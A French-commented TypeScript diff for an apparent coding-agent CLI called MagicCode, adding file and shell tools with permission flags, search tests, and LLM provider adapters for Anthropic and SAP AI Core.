required: ["command"],
},
},
permission: "ask",
describe: (i) => String(i.command ?? ""),
execute(input, ctx) {
const command = str(input, "command");
return new Promise((resolve) => {
exec(
command,
{
cwd: ctx.cwd,
timeout: 120_000,
maxBuffer: 10 * 1024 * 1024,
signal: ctx.signal,
env: { ...process.env, ...ctx.env },
},
(error, stdout, stderr) => {
let out = `${stdout}${stderr ? `\n[stderr]\n${stderr}` : ""}`.trim();
if (out.length > OUTPUT_MAX) out = `${out.slice(0, OUTPUT_MAX)}\n… (tronqué)`;
const code = error ? ((error as { code?: number }).code ?? 1) : 0;
resolve(`${out}\n[code de sortie : ${code}]`.trim());
},
);
});
},
};

View file

@ -0,0 +1,36 @@
import { readFile, writeFile } from "node:fs/promises";
import type { Tool } from "@magiccode/core";
import { resolvePath, str } from "./helpers";
export const editTool: Tool = {
spec: {
name: "Edit",
description:
"Remplace une occurrence unique de old_string par new_string dans un fichier. " +
"Échoue si old_string est absent ou présent plusieurs fois.",
inputSchema: {
type: "object",
properties: {
path: { type: "string", description: "Chemin du fichier : complet, ou relatif au dossier de lancement de MagicCode" },
old_string: { type: "string" },
new_string: { type: "string" },
},
required: ["path", "old_string", "new_string"],
},
},
permission: "ask",
describe: (i) => String(i.path ?? ""),
async execute(input, ctx) {
const file = resolvePath(ctx.cwd, str(input, "path"));
const oldStr = str(input, "old_string");
const newStr = str(input, "new_string");
const text = await readFile(file, "utf8");
const count = text.split(oldStr).length - 1;
if (count === 0) throw new Error("old_string introuvable dans le fichier");
if (count > 1) throw new Error(`old_string présent ${count} fois : ajoutez du contexte`);
await writeFile(file, text.replace(oldStr, () => newStr), "utf8");
return `Fichier modifié : ${file}`;
},
};

View file

@ -0,0 +1,62 @@
import { stat } from "node:fs/promises";
import { relative, sep } from "node:path";
import picomatch from "picomatch";
import type { Tool } from "@magiccode/core";
import { displayPath, optStr, resolvePath, str } from "./helpers";
import { walkFiles } from "./walk";
const MAX_RESULTS = 100;
export const globTool: Tool = {
spec: {
name: "Glob",
description:
'Trouve des fichiers par motif glob (ex. "**/*.ts", "src/**/*.test.ts", "*.json"). ' +
"Le motif est relatif au dossier de recherche. Résultats triés par date de modification " +
"(les plus récents d'abord), limités à 100. Ignore .git, node_modules et les fichiers exclus par .gitignore.",
inputSchema: {
type: "object",
properties: {
pattern: { type: "string", description: "Motif glob à rechercher" },
path: {
type: "string",
description: "Dossier de recherche : complet ou relatif au dossier de lancement (défaut : ce dossier).",
},
},
required: ["pattern"],
},
},
permission: "auto",
describe: (i) => `${String(i.pattern ?? "")}${i.path ? ` dans ${String(i.path)}` : ""}`,
async execute(input, ctx) {
const pattern = str(input, "pattern");
const root = resolvePath(ctx.cwd, optStr(input, "path") ?? ".");
try {
if (!(await stat(root)).isDirectory()) throw new Error();
} catch {
throw new Error(`Dossier de recherche introuvable : ${root}`);
}
const isMatch = picomatch(pattern, { dot: true });
const matched: string[] = [];
for await (const abs of walkFiles(root, ctx.signal)) {
if (isMatch(relative(root, abs).split(sep).join("/"))) matched.push(abs);
}
if (matched.length === 0) return `Aucun fichier ne correspond au motif "${pattern}"`;
const withTime = await Promise.all(
matched.map(async (abs) => ({
abs,
mtime: await stat(abs).then((s) => s.mtimeMs, () => 0),
})),
);
withTime.sort((a, b) => b.mtime - a.mtime);
const shown = withTime.slice(0, MAX_RESULTS).map((f) => displayPath(ctx.cwd, f.abs));
const extra = withTime.length - shown.length;
return extra > 0
? `${shown.join("\n")}\n(${extra} résultat(s) supplémentaire(s) non affiché(s) : affinez le motif)`
: shown.join("\n");
},
};

View file

@ -0,0 +1,161 @@
import { readFile, stat } from "node:fs/promises";
import { relative, sep } from "node:path";
import picomatch from "picomatch";
import type { Tool } from "@magiccode/core";
import { displayPath, optBool, optNum, optStr, resolvePath, str } from "./helpers";
import { walkFiles } from "./walk";
const MAX_FILE_BYTES = 2 * 1024 * 1024;
const MAX_LINE_CHARS = 500;
const DEFAULT_HEAD_LIMIT = 250;
type Mode = "files_with_matches" | "content" | "count";
const MODES: Mode[] = ["files_with_matches", "content", "count"];
/** Retourne le texte, ou null pour un fichier trop gros, binaire ou illisible. */
async function readTextFile(abs: string): Promise<string | null> {
try {
if ((await stat(abs)).size > MAX_FILE_BYTES) return null;
const buf = await readFile(abs);
if (buf.subarray(0, 8000).includes(0)) return null;
return buf.toString("utf8");
} catch {
return null;
}
}
function splitLines(text: string): string[] {
const lines = text.split("\n");
if (lines.length > 0 && lines[lines.length - 1] === "") lines.pop();
return lines.map((l) => (l.endsWith("\r") ? l.slice(0, -1) : l));
}
const clip = (l: string): string => (l.length > MAX_LINE_CHARS ? `${l.slice(0, MAX_LINE_CHARS)}…` : l);
export const grepTool: Tool = {
spec: {
name: "Grep",
description:
"Recherche une expression régulière (syntaxe JavaScript) dans le contenu des fichiers. " +
"Ignore .git, node_modules, les fichiers exclus par .gitignore et les fichiers binaires. " +
'output_mode : "files_with_matches" (défaut, liste des fichiers), "content" (lignes correspondantes) ou "count".',
inputSchema: {
type: "object",
properties: {
pattern: { type: "string", description: "Expression régulière à rechercher" },
path: { type: "string", description: "Fichier ou dossier : chemin complet ou relatif au dossier de lancement (défaut : ce dossier)" },
glob: { type: "string", description: 'Filtre sur les fichiers, ex. "*.ts" ou "src/**/*.tsx"' },
output_mode: { type: "string", enum: MODES },
"-i": { type: "boolean", description: "Ignorer la casse" },
"-n": { type: "boolean", description: "Numéros de ligne (mode content, vrai par défaut)" },
"-A": { type: "number", description: "Lignes de contexte après chaque résultat (mode content)" },
"-B": { type: "number", description: "Lignes de contexte avant chaque résultat (mode content)" },
"-C": { type: "number", description: "Lignes de contexte avant et après (mode content)" },
head_limit: {
type: "number",
description: `Nombre maximum de lignes/entrées renvoyées (défaut ${DEFAULT_HEAD_LIMIT}, 0 = sans limite)`,
},
},
required: ["pattern"],
},
},
permission: "auto",
describe: (i) => `${String(i.pattern ?? "")}${i.path ? ` dans ${String(i.path)}` : ""}`,
async execute(input, ctx) {
const pattern = str(input, "pattern");
const mode = (optStr(input, "output_mode") ?? "files_with_matches") as Mode;
if (!MODES.includes(mode)) {
throw new Error(`output_mode invalide : "${mode}" (attendu : ${MODES.join(", ")})`);
}
let regex: RegExp;
try {
regex = new RegExp(pattern, optBool(input, "-i") ? "i" : "");
} catch (err) {
throw new Error(`Expression régulière invalide : ${(err as Error).message}`);
}
const showLineNumbers = optBool(input, "-n") ?? true;
const both = optNum(input, "-C");
const after = Math.max(optNum(input, "-A") ?? both ?? 0, 0);
const before = Math.max(optNum(input, "-B") ?? both ?? 0, 0);
const headLimit = optNum(input, "head_limit");
const limit = headLimit === undefined ? DEFAULT_HEAD_LIMIT : headLimit <= 0 ? Infinity : headLimit;
const target = resolvePath(ctx.cwd, optStr(input, "path") ?? ".");
let targetIsFile: boolean;
try {
targetIsFile = (await stat(target)).isFile();
} catch {
throw new Error(`Chemin introuvable : ${target}`);
}
const globFilter = optStr(input, "glob");
const matchGlob = globFilter ? picomatch(globFilter, { dot: true, basename: true }) : null;
async function* candidates(): AsyncGenerator<string> {
if (targetIsFile) {
yield target;
return;
}
for await (const abs of walkFiles(target, ctx.signal)) {
if (matchGlob && !matchGlob(relative(target, abs).split(sep).join("/"))) continue;
yield abs;
}
}
const out: string[] = [];
let truncated = false;
for await (const abs of candidates()) {
if (ctx.signal?.aborted) break;
const text = await readTextFile(abs);
if (text === null) continue;
const lines = splitLines(text);
const hits: number[] = [];
for (let i = 0; i < lines.length; i++) {
if (regex.test(lines[i] ?? "")) {
hits.push(i);
if (mode === "files_with_matches") break;
}
}
if (hits.length === 0) continue;
const name = displayPath(ctx.cwd, abs);
if (mode === "files_with_matches") {
out.push(name);
} else if (mode === "count") {
out.push(`${name}:${hits.length}`);
} else {
// index de ligne → true si c'est une ligne correspondante (sinon : ligne de contexte)
const show = new Map<number, boolean>();
for (const m of hits) {
const from = Math.max(0, m - before);
const to = Math.min(lines.length - 1, m + after);
for (let j = from; j <= to; j++) show.set(j, (show.get(j) ?? false) || j === m);
}
let prev = -2;
for (const j of [...show.keys()].sort((a, b) => a - b)) {
if (prev >= 0 && j > prev + 1) out.push("--");
const sepChar = show.get(j) ? ":" : "-";
const num = showLineNumbers ? `${j + 1}${sepChar}` : "";
out.push(`${name}${sepChar}${num}${clip(lines[j] ?? "")}`);
prev = j;
}
}
if (out.length >= limit) {
out.length = Math.min(out.length, limit);
truncated = true;
break;
}
}
if (out.length === 0) return `Aucun résultat pour "${pattern}"`;
return truncated
? `${out.join("\n")}\n(limite de ${limit} résultats atteinte : affinez la recherche ou augmentez head_limit)`
: out.join("\n");
},
};

View file

@ -0,0 +1,40 @@
import { homedir } from "node:os";
import { isAbsolute, join, relative, resolve, sep } from "node:path";
export function str(input: Record<string, unknown>, key: string): string {
const v = input[key];
if (typeof v !== "string") throw new Error(`Paramètre "${key}" manquant ou invalide`);
return v;
}
export function optStr(input: Record<string, unknown>, key: string): string | undefined {
const v = input[key];
return typeof v === "string" && v !== "" ? v : undefined;
}
export function optNum(input: Record<string, unknown>, key: string): number | undefined {
const v = input[key];
return typeof v === "number" ? v : undefined;
}
export function optBool(input: Record<string, unknown>, key: string): boolean | undefined {
const v = input[key];
return typeof v === "boolean" ? v : undefined;
}
/**
* Chemin relatif → résolu depuis `cwd` (dossier de lancement de MagicCode) ;
* chemin complet → utilisé tel quel ; "~" et "~/…" → dossier personnel.
*/
export function resolvePath(cwd: string, p: string): string {
if (p === "~") return homedir();
if (p.startsWith("~/") || p.startsWith("~\\")) return join(homedir(), p.slice(2));
return resolve(cwd, p);
}
/** Chemin affiché : relatif au dossier courant (séparateur "/"), absolu s'il est en dehors. */
export function displayPath(cwd: string, abs: string): string {
const rel = relative(cwd, abs);
const out = rel === "" ? "." : rel.startsWith("..") || isAbsolute(rel) ? abs : rel;
return out.split(sep).join("/");
}

View file

@ -0,0 +1,10 @@
import type { Tool } from "@magiccode/core";
import { bashTool } from "./bash";
import { editTool } from "./edit";
import { globTool } from "./glob";
import { grepTool } from "./grep";
import { readTool } from "./read";
import { writeTool } from "./write";
// Lot 1 complet. TODO : TodoWrite, WebFetch, Task (lot 3).
export const claudeCodeTools: Tool[] = [readTool, globTool, grepTool, writeTool, editTool, bashTool];

View file

@ -0,0 +1,37 @@
import { mkdtemp, readFile } from "node:fs/promises";
import { homedir, tmpdir } from "node:os";
import { basename, join } from "node:path";
import { describe, expect, it } from "vitest";
import { bashTool } from "./bash";
import { resolvePath } from "./helpers";
import { readTool } from "./read";
import { writeTool } from "./write";
describe("chemins relatifs au dossier de lancement", () => {
it("resolvePath : relatif → cwd, complet → inchangé, ~ → dossier personnel", () => {
expect(resolvePath("/launch/X", "a/b.txt")).toBe(join("/launch/X", "a/b.txt"));
expect(resolvePath("/launch/X", "/etc/hosts")).toBe("/etc/hosts");
expect(resolvePath("/launch/X", "~/f.txt")).toBe(join(homedir(), "f.txt"));
});
it("Write crée le fichier depuis le dossier de lancement, Read le relit depuis là", async () => {
const cwd = await mkdtemp(join(tmpdir(), "magiccode-launch-"));
await writeTool.execute({ path: "sub/new.txt", content: "bonjour" }, { cwd });
expect(await readFile(join(cwd, "sub", "new.txt"), "utf8")).toBe("bonjour");
expect(await readTool.execute({ path: "sub/new.txt" }, { cwd })).toContain("bonjour");
});
it("Write avec chemin complet écrit exactement là", async () => {
const cwd = await mkdtemp(join(tmpdir(), "magiccode-launch-"));
const elsewhere = await mkdtemp(join(tmpdir(), "magiccode-other-"));
const target = join(elsewhere, "abs.txt");
await writeTool.execute({ path: target, content: "x" }, { cwd });
expect(await readFile(target, "utf8")).toBe("x");
});
it("Bash s'exécute dans le dossier de lancement", async () => {
const cwd = await mkdtemp(join(tmpdir(), "magiccode-launch-"));
const out = await bashTool.execute({ command: "pwd" }, { cwd });
expect(out).toContain(basename(cwd));
});
});

View file

@ -0,0 +1,31 @@
import { readFile } from "node:fs/promises";
import type { Tool } from "@magiccode/core";
import { optNum, resolvePath, str } from "./helpers";
export const readTool: Tool = {
spec: {
name: "Read",
description: "Lit un fichier texte et renvoie son contenu avec les numéros de ligne.",
inputSchema: {
type: "object",
properties: {
path: { type: "string", description: "Chemin du fichier : complet, ou relatif au dossier de lancement de MagicCode" },
offset: { type: "number", description: "Première ligne à lire (1 par défaut)" },
limit: { type: "number", description: "Nombre maximum de lignes (2000 par défaut)" },
},
required: ["path"],
},
},
permission: "auto",
describe: (i) => String(i.path ?? ""),
async execute(input, ctx) {
const file = resolvePath(ctx.cwd, str(input, "path"));
const lines = (await readFile(file, "utf8")).split("\n");
const start = Math.max((optNum(input, "offset") ?? 1) - 1, 0);
const end = start + (optNum(input, "limit") ?? 2000);
return lines
.slice(start, end)
.map((l, i) => `${String(start + i + 1).padStart(6)}\t${l}`)
.join("\n");
},
};

View file

@ -0,0 +1,73 @@
import { mkdir, mkdtemp, writeFile } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import { beforeAll, describe, expect, it } from "vitest";
import { globTool } from "./glob";
import { grepTool } from "./grep";
let cwd: string;
const ctx = () => ({ cwd });
beforeAll(async () => {
cwd = await mkdtemp(join(tmpdir(), "magiccode-search-"));
await mkdir(join(cwd, "src"), { recursive: true });
await mkdir(join(cwd, "node_modules", "lib"), { recursive: true });
await writeFile(join(cwd, "a.ts"), "const alpha = 1;\n");
await writeFile(join(cwd, "src", "b.ts"), "// début\nconst hello = 1;\nconst Hello2 = 2;\n// fin\n");
await writeFile(join(cwd, "src", "c.md"), "# hello doc\n");
await writeFile(join(cwd, "node_modules", "lib", "x.ts"), "const hello = 0;\n");
await writeFile(join(cwd, "debug.log"), "hello log\n");
await writeFile(join(cwd, ".gitignore"), "*.log\n");
await writeFile(join(cwd, "bin.dat"), Buffer.from([104, 101, 108, 108, 111, 0, 1, 2]));
});
describe("Glob", () => {
it("trouve les fichiers et ignore node_modules et .gitignore", async () => {
const out = await globTool.execute({ pattern: "**/*.ts" }, ctx());
expect(out.split("\n").sort()).toEqual(["a.ts", "src/b.ts"]);
});
it("*.ts ne descend pas dans les sous-dossiers", async () => {
expect(await globTool.execute({ pattern: "*.ts" }, ctx())).toBe("a.ts");
});
it("indique l'absence de résultat", async () => {
expect(await globTool.execute({ pattern: "**/*.rs" }, ctx())).toContain("Aucun fichier");
});
});
describe("Grep", () => {
it("liste les fichiers correspondants (défaut)", async () => {
const out = await grepTool.execute({ pattern: "hello" }, ctx());
expect(out.split("\n").sort()).toEqual(["src/b.ts", "src/c.md"]); // ni node_modules, ni .log, ni binaire
});
it("mode content avec numéros de ligne et filtre glob", async () => {
const out = await grepTool.execute(
{ pattern: "hello", output_mode: "content", glob: "*.ts", "-i": true },
ctx(),
);
expect(out.split("\n")).toEqual(["src/b.ts:2:const hello = 1;", "src/b.ts:3:const Hello2 = 2;"]);
});
it("mode content avec contexte", async () => {
const out = await grepTool.execute(
{ pattern: "hello", output_mode: "content", path: "src/b.ts", "-C": 1 },
ctx(),
);
expect(out.split("\n")).toEqual([
"src/b.ts-1-// début",
"src/b.ts:2:const hello = 1;",
"src/b.ts-3-const Hello2 = 2;",
]);
});
it("mode count", async () => {
const out = await grepTool.execute({ pattern: "const", output_mode: "count" }, ctx());
expect(out.split("\n").sort()).toEqual(["a.ts:1", "src/b.ts:2"]);
});
it("signale une regex invalide", async () => {
await expect(grepTool.execute({ pattern: "(" }, ctx())).rejects.toThrow("Expression régulière invalide");
});
});

View file

@ -0,0 +1,65 @@
import { readFile, readdir } from "node:fs/promises";
import { join, relative, sep } from "node:path";
import ignore, { type Ignore } from "ignore";
/** Toujours ignorés, même sans .gitignore. */
const ALWAYS_SKIPPED = new Set([".git", "node_modules"]);
interface Scope {
base: string;
ig: Ignore;
}
async function loadGitignore(dir: string): Promise<Scope | null> {
try {
const text = await readFile(join(dir, ".gitignore"), "utf8");
return { base: dir, ig: ignore().add(text) };
} catch {
return null;
}
}
function isIgnored(abs: string, isDir: boolean, scopes: Scope[]): boolean {
for (const s of scopes) {
const rel = relative(s.base, abs).split(sep).join("/");
if (!rel || rel.startsWith("..")) continue;
if (s.ig.ignores(isDir ? `${rel}/` : rel)) return true;
}
return false;
}
/**
* Parcourt récursivement `root` (ordre alphabétique) et produit les chemins absolus des fichiers.
* Ignore .git, node_modules et ce qu'excluent les .gitignore rencontrés (racine et sous-dossiers).
* Les liens symboliques ne sont pas suivis.
*/
export async function* walkFiles(root: string, signal?: AbortSignal): AsyncGenerator<string> {
yield* walk(root, [], signal);
}
async function* walk(dir: string, inherited: Scope[], signal?: AbortSignal): AsyncGenerator<string> {
if (signal?.aborted) return;
const local = await loadGitignore(dir);
const scopes = local ? [...inherited, local] : inherited;
let entries;
try {
entries = await readdir(dir, { withFileTypes: true });
} catch {
return; // dossier illisible : ignoré
}
entries.sort((a, b) => (a.name < b.name ? -1 : a.name > b.name ? 1 : 0));
for (const e of entries) {
if (ALWAYS_SKIPPED.has(e.name)) continue;
const abs = join(dir, e.name);
if (e.isDirectory()) {
if (isIgnored(abs, true, scopes)) continue;
yield* walk(abs, scopes, signal);
} else if (e.isFile()) {
if (isIgnored(abs, false, scopes)) continue;
yield abs;
}
}
}

View file

@ -0,0 +1,28 @@
import { mkdir, writeFile } from "node:fs/promises";
import { dirname } from "node:path";
import type { Tool } from "@magiccode/core";
import { resolvePath, str } from "./helpers";
export const writeTool: Tool = {
spec: {
name: "Write",
description: "Écrit un fichier (le crée ou écrase son contenu).",
inputSchema: {
type: "object",
properties: {
path: { type: "string", description: "Chemin du fichier : complet, ou relatif au dossier de lancement de MagicCode" },
content: { type: "string" },
},
required: ["path", "content"],
},
},
permission: "ask",
describe: (i) => String(i.path ?? ""),
async execute(input, ctx) {
const file = resolvePath(ctx.cwd, str(input, "path"));
const content = str(input, "content");
await mkdir(dirname(file), { recursive: true });
await writeFile(file, content, "utf8");
return `Fichier écrit : ${file} (${content.length} caractères)`;
},
};

View file

@ -0,0 +1,4 @@
{
"extends": "../../tsconfig.base.json",
"include": ["src"]
}

View file

@ -0,0 +1,12 @@
{
"name": "@magiccode/providers",
"version": "0.1.0",
"type": "module",
"main": "src/index.ts",
"types": "src/index.ts",
"scripts": { "typecheck": "tsc -p ." },
"dependencies": {
"@anthropic-ai/sdk": "^0.40.0",
"@magiccode/core": "workspace:*"
}
}

View file

@ -0,0 +1,73 @@
import Anthropic from "@anthropic-ai/sdk";
import type { ChatRequest, LLMProvider, Message, StopReason, StreamEvent } from "@magiccode/core";
function toAnthropicMessages(messages: Message[]): Anthropic.MessageParam[] {
return messages.map((m) => ({
role: m.role,
content: m.content.map((b) => {
switch (b.type) {
case "text":
return { type: "text" as const, text: b.text };
case "tool_use":
return { type: "tool_use" as const, id: b.id, name: b.name, input: b.input };
case "tool_result":
return {
type: "tool_result" as const,
tool_use_id: b.toolUseId,
content: b.content,
is_error: b.isError ?? false,
};
}
}),
}));
}
function toStopReason(r: string | null): StopReason {
if (r === "end_turn" || r === "tool_use" || r === "max_tokens") return r;
return "other";
}
/** Utilise ANTHROPIC_API_KEY depuis l'environnement. */
export function createAnthropicProvider(model: string): LLMProvider {
const client = new Anthropic();
return {
id: "anthropic",
model,
capabilities: { tools: true },
async *chat(req: ChatRequest, signal?: AbortSignal): AsyncIterable<StreamEvent> {
const stream = client.messages.stream(
{
model,
max_tokens: req.maxTokens ?? 8192,
system: req.system,
tools: req.tools.map((t) => ({
name: t.name,
description: t.description,
input_schema: t.inputSchema as Anthropic.Tool.InputSchema,
})),
messages: toAnthropicMessages(req.messages),
},
{ signal },
);
for await (const ev of stream) {
if (ev.type === "content_block_delta" && ev.delta.type === "text_delta") {
yield { type: "text_delta", text: ev.delta.text };
}
}
const final = await stream.finalMessage();
for (const block of final.content) {
if (block.type === "tool_use") {
yield {
type: "tool_use",
id: block.id,
name: block.name,
input: block.input as Record<string, unknown>,
};
}
}
yield { type: "done", stopReason: toStopReason(final.stop_reason) };
},
};
}

View file

@ -0,0 +1,114 @@
import type { LLMProvider } from "@magiccode/core";
import { createAnthropicProvider } from "./anthropic";
import { createOpenAIProvider } from "./openai";
import { createOllamaProvider } from "./ollama";
import { createSapAiCoreProvider, listSapDeployments, type SapAiCoreOptions } from "./sapaicore";
export { createSapAiCoreProvider, listSapDeployments } from "./sapaicore";
/** Options communes : `baseDir` = dossier de lancement de MagicCode (base des chemins relatifs). */
export interface ProviderOptions {
baseDir?: string;
}
/** Alias courts → identifiants réels. Pour "sapaicore", le nom du déploiement est utilisé tel quel. */
export const MODEL_ALIASES: Record<string, Record<string, string>> = {
anthropic: {
sonnet: "claude-sonnet-5-5",
opus: "claude-opus-5-5",
haiku: "claude-haiku-5-5",
},
openai: { gpt: "gpt-4.1" }, // TODO : vérifier l'identifiant à utiliser
ollama: { default: "llama3.1" },
};
export interface ModelChoice {
value: string; // "provider:modèle"
label: string;
hint?: string;
}
/** Modèles réellement déployés sur le service SAP AI Core (appel réseau). */
export async function listSapModelChoices(opts?: SapAiCoreOptions): Promise<ModelChoice[]> {
const deployments = await listSapDeployments(opts);
return deployments
.filter((d) => d.type !== "other")
.map((d) => ({
value: `sapaicore:${d.name}`,
label: `${d.name}${d.version ? ` (${d.version})` : ""}`,
hint: "SAP AI Core",
}));
}
/** API Anthropic directe : proposée seulement si ANTHROPIC_API_KEY est définie. */
async function listAnthropicModelChoices(): Promise<ModelChoice[]> {
if (!process.env.ANTHROPIC_API_KEY) return [];
return [
{ value: "anthropic:sonnet", label: "Claude Sonnet", hint: "API Anthropic" },
{ value: "anthropic:opus", label: "Claude Opus", hint: "API Anthropic" },
{ value: "anthropic:haiku", label: "Claude Haiku", hint: "API Anthropic" },
];
}
/**
* Chaque provider prêt à l'emploi expose ses modèles disponibles ici.
* (openai et ollama seront ajoutés quand leurs adaptateurs seront implémentés.)
*/
const PROVIDER_CATALOGS: { name: string; load(opts?: ProviderOptions): Promise<ModelChoice[]> }[] = [
{ name: "SAP AI Core", load: (opts) => listSapModelChoices({ baseDir: opts?.baseDir }) },
{ name: "Anthropic", load: listAnthropicModelChoices },
];
export interface ModelCatalog {
choices: ModelChoice[];
/** Providers dont le chargement a échoué (non bloquant). */
errors: string[];
}
/** Interroge tous les providers en parallèle et agrège les modèles disponibles. */
export async function loadModelChoices(opts?: ProviderOptions): Promise<ModelCatalog> {
const results = await Promise.allSettled(PROVIDER_CATALOGS.map((c) => c.load(opts)));
const choices: ModelChoice[] = [];
const errors: string[] = [];
results.forEach((r, i) => {
const name = PROVIDER_CATALOGS[i]!.name;
if (r.status === "fulfilled") choices.push(...r.value);
else errors.push(`${name} : ${(r.reason as Error).message}`);
});
return { choices, errors };
}
/**
* "sapaicore" (premier modèle disponible), "sapaicore:anthropic--claude-4.5-sonnet",
* "anthropic:sonnet", "ollama:mistral", ou "sonnet" (provider déduit de l'alias).
*/
export function parseModelSpec(spec: string): { provider: string; model: string } {
if (spec === "sapaicore") return { provider: "sapaicore", model: "" };
const idx = spec.indexOf(":");
if (idx > 0) {
const provider = spec.slice(0, idx);
const name = spec.slice(idx + 1);
return { provider, model: MODEL_ALIASES[provider]?.[name] ?? name };
}
for (const [provider, aliases] of Object.entries(MODEL_ALIASES)) {
const model = aliases[spec];
if (model) return { provider, model };
}
throw new Error(`Modèle inconnu : "${spec}" (format attendu : provider:modèle)`);
}
export function createProvider(spec: string, opts?: ProviderOptions): LLMProvider {
const { provider, model } = parseModelSpec(spec);
switch (provider) {
case "sapaicore":
return createSapAiCoreProvider(model, { baseDir: opts?.baseDir });
case "anthropic":
return createAnthropicProvider(model);
case "openai":
return createOpenAIProvider(model);
case "ollama":
return createOllamaProvider(model);
default:
throw new Error(`Provider inconnu : "${provider}"`);
}
}

View file

@ -0,0 +1,8 @@
import type { LLMProvider } from "@magiccode/core";
// TODO : implémenter via l'API HTTP locale (http://localhost:11434/api/chat, stream NDJSON).
// Prévoir un mode dégradé : tous les modèles Ollama ne supportent pas les outils
// (capabilities.tools = false → avertir l'utilisateur).
export function createOllamaProvider(_model: string): LLMProvider {
throw new Error("Provider Ollama pas encore implémenté");
}

View file

@ -0,0 +1,8 @@
import type { LLMProvider } from "@magiccode/core";
// TODO : implémenter avec le SDK `openai` (chat completions en streaming).
// Il faut convertir : messages neutres → format OpenAI, tool_use ↔ tool_calls,
// et normaliser le streaming en StreamEvent.
export function createOpenAIProvider(_model: string): LLMProvider {
throw new Error("Provider OpenAI pas encore implémenté");
}

View file

@ -0,0 +1,68 @@
import type { BtpAiConfig } from "./config";
import { safeReadText } from "./http";
/**
* Récupère un token de session (OAuth client_credentials) auprès du service.
*
* GET {config.url}/oauth/token?grant_type=client_credentials
* Header: Authorization: Basic {config.basic}
* Réponse attendue: { access_token: "...", expires_in?: number, ... }
*/
export async function fetchToken(
config: BtpAiConfig,
): Promise<{ accessToken: string; expiresIn?: number }> {
const tokenUrl = new URL(`${config.url.replace(/\/+$/, "")}/oauth/token`);
tokenUrl.searchParams.set("grant_type", "client_credentials");
const response = await fetch(tokenUrl, {
method: "GET",
headers: { Authorization: `Basic ${config.basic}` },
});
if (!response.ok) {
const body = await safeReadText(response);
throw new Error(
`Échec de récupération du token de session (HTTP ${response.status} ${response.statusText}). ${body}`,
);
}
const data = (await response.json()) as { access_token?: string; expires_in?: number };
if (!data.access_token) {
throw new Error(
"La réponse du service d'authentification ne contient pas de champ 'access_token'.",
);
}
return { accessToken: data.access_token, expiresIn: data.expires_in };
}
export async function fetchSessionToken(config: BtpAiConfig): Promise<string> {
return (await fetchToken(config)).accessToken;
}
/** Token mis en cache jusqu'à son expiration (marge de 60 s), renouvelé à la demande. */
export function createTokenProvider(config: BtpAiConfig) {
let cached: { token: string; expiresAt: number } | undefined;
let pending: Promise<string> | undefined;
const refresh = async (): Promise<string> => {
const { accessToken, expiresIn } = await fetchToken(config);
const ttl = Math.max((expiresIn ?? 300) - 60, 30);
cached = { token: accessToken, expiresAt: Date.now() + ttl * 1000 };
return accessToken;
};
return {
async get(): Promise<string> {
if (cached && Date.now() < cached.expiresAt) return cached.token;
pending ??= refresh().finally(() => {
pending = undefined;
});
return pending;
},
invalidate(): void {
cached = undefined;
},
};
}
export type TokenProvider = ReturnType<typeof createTokenProvider>;

View file

@ -0,0 +1,87 @@
import type { ChatRequest, StopReason, StreamEvent } from "@magiccode/core";
// Claude sur AI Core = déploiement AWS Bedrock → API Converse : POST {deploymentUrl}/converse
type ConverseBlock =
| { text: string }
| { toolUse: { toolUseId: string; name: string; input: Record<string, unknown> } }
| {
toolResult: {
toolUseId: string;
content: { text: string }[];
status: "success" | "error";
};
};
export function buildConverseBody(req: ChatRequest): Record<string, unknown> {
const messages = req.messages.map((m) => ({
role: m.role,
content: m.content.flatMap((b): ConverseBlock[] => {
switch (b.type) {
case "text":
return b.text ? [{ text: b.text }] : []; // Bedrock refuse les blocs texte vides
case "tool_use":
return [{ toolUse: { toolUseId: b.id, name: b.name, input: b.input } }];
case "tool_result":
return [
{
toolResult: {
toolUseId: b.toolUseId,
content: [{ text: b.content || "(vide)" }],
status: b.isError ? "error" : "success",
},
},
];
}
}),
}));
const body: Record<string, unknown> = {
system: [{ text: req.system }],
messages,
inferenceConfig: { maxTokens: req.maxTokens ?? 8192 },
};
if (req.tools.length > 0) {
body.toolConfig = {
tools: req.tools.map((t) => ({
toolSpec: {
name: t.name,
description: t.description,
inputSchema: { json: t.inputSchema },
},
})),
};
}
return body;
}
interface ConverseResponse {
output?: {
message?: {
content?: { text?: string; toolUse?: { toolUseId: string; name: string; input?: Record<string, unknown> } }[];
};
};
stopReason?: string;
}
export function parseConverseResponse(json: unknown): StreamEvent[] {
const res = json as ConverseResponse;
const events: StreamEvent[] = [];
for (const block of res.output?.message?.content ?? []) {
if (block.text) events.push({ type: "text_delta", text: block.text });
if (block.toolUse) {
events.push({
type: "tool_use",
id: block.toolUse.toolUseId,
name: block.toolUse.name,
input: block.toolUse.input ?? {},
});
}
}
const stop: StopReason =
res.stopReason === "end_turn" || res.stopReason === "tool_use" || res.stopReason === "max_tokens"
? res.stopReason
: "other";
events.push({ type: "done", stopReason: stop });
return events;
}

View file

@ -0,0 +1,56 @@
import { readFile } from "node:fs/promises";
import { resolve } from "node:path";
export interface BtpAiConfig {
/** URL de base pour récupérer le token (on y ajoute /oauth/token). */
url: string;
/** Token Basic déjà encodé, envoyé dans le header Authorization. */
basic: string;
serviceurls: {
/** URL de base de l'API AI Core (liste des déploiements). */
AI_API_URL: string;
};
/** Optionnel : resource group AI Core (défaut : "default"). */
resourceGroup?: string;
}
export const DEFAULT_CONFIG_PATH = "./btp_AI.json";
/**
* Charge et valide le fichier JSON de configuration du service AI
* (type SAP AI Core / Generative AI Hub). Voir btp_AI_tpl.json.
*/
export async function loadConfig(configPath: string, baseDir: string = process.cwd()): Promise<BtpAiConfig> {
// Chemin relatif : résolu depuis le dossier de lancement de MagicCode (baseDir) ; chemin complet : tel quel.
const absolutePath = resolve(baseDir, configPath);
let raw: string;
try {
raw = await readFile(absolutePath, "utf-8");
} catch (err) {
throw new Error(
`Impossible de lire le fichier de configuration "${absolutePath}" : ${(err as Error).message}`,
);
}
let config: Partial<BtpAiConfig>;
try {
config = JSON.parse(raw) as Partial<BtpAiConfig>;
} catch (err) {
throw new Error(
`Le fichier de configuration "${absolutePath}" n'est pas un JSON valide : ${(err as Error).message}`,
);
}
const missing: string[] = [];
if (!config.url) missing.push("url");
if (!config.basic) missing.push("basic");
if (!config.serviceurls?.AI_API_URL) missing.push("serviceurls.AI_API_URL");
if (missing.length > 0) {
throw new Error(
`Champ(s) manquant(s) dans le fichier de configuration : ${missing.join(", ")}`,
);
}
return config as BtpAiConfig;
}

View file

@ -0,0 +1,129 @@
import type { BtpAiConfig } from "./config";
import { safeReadText } from "./http";
